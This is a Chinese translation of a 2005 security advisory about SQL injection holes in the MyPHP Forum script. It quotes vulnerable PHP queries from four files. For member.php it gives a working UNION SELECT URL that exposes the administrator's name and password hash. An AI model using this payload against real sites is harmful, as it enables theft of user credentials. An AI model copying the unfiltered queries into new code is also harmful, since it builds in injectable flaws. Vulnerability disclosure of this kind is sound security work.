翻译网站:
http://www.bnso.net/
翻译:Z.C.Y[B.C.T]
发布日期:2005-2-9 8:17AM
发布作者:foster GHC <foster ghc ru>
信息 ID:<20050209081714.15780.qmail@
www.securityfocus.com>
资料来源:
http://www.securityfocus.com/arc ... -02-09/2005-02-15/0
官方地址:
http://www.myphp.ws
漏洞类型:SQL注入
产品描述:
MyPHP论坛是一个有限制特征的简单的信息布告栏脚本。
摘要:
几处SQL注入漏洞将会导致敏感信息,包括用户密码散列的泄露。
细节:用户outbound变量的肯定部分用于SQL查询时存在SQL注入漏洞。
[1]脚本:forum.php
代码:
$query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid='$fid'") or die(mysql_error());
$nav = mysql_fetch_array($query);
通过$fid变量没有过滤可以SQL注入
[2]脚本:member.php
代码:
if($action == "viewpro") {
$member = $HTTP_GET_VARS['member'];
$sql = "SELECT * FROM $db_member WHERE username='$member'";
$query = mysql_query("SELECT * FROM $db_member WHERE username='$member'")
or die("cant execute $sql");
$member = mysql_fetch_array($query);
SQL代码注入
member.php?action=viewpro&member=[SQL code]
利用方法:
member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password, status,
email, website, aim, msn, location, sig, regdate, posts, password as yahoo
FROM nb_member WHERE uid='1
将会显示管理员的名字和密码散列(在"Yahoo"字段里)
密码被encrypt()函数加密
代码:
function encrypt($string) {
$crypted = crypt(md5($string), md5($string));
return $crypted;
}
[3]脚本:forgot.php
代码:
$email = $_REQUEST['email'];
if (isset($email)) {
$sql="SELECT * FROM $db_member WHERE email='$email'";
...
$result = mysql_query("SELECT username FROM $db_member WHERE email='$email'");
$username = mysql_result($result, 0);
$msg = "
Hello $username,
$email参数没有过滤
影响:通过此变量进行SQL注入
[4]脚本:include.php
这个脚本最重要,它是其他所有脚本的一部份。
$nbuser & $nbpass 变量没有过滤。
代码:
$query = mysql_query("SELECT * FROM $db_member WHERE username='$nbuser'")
影响:通过$nbuser进行SQL注入.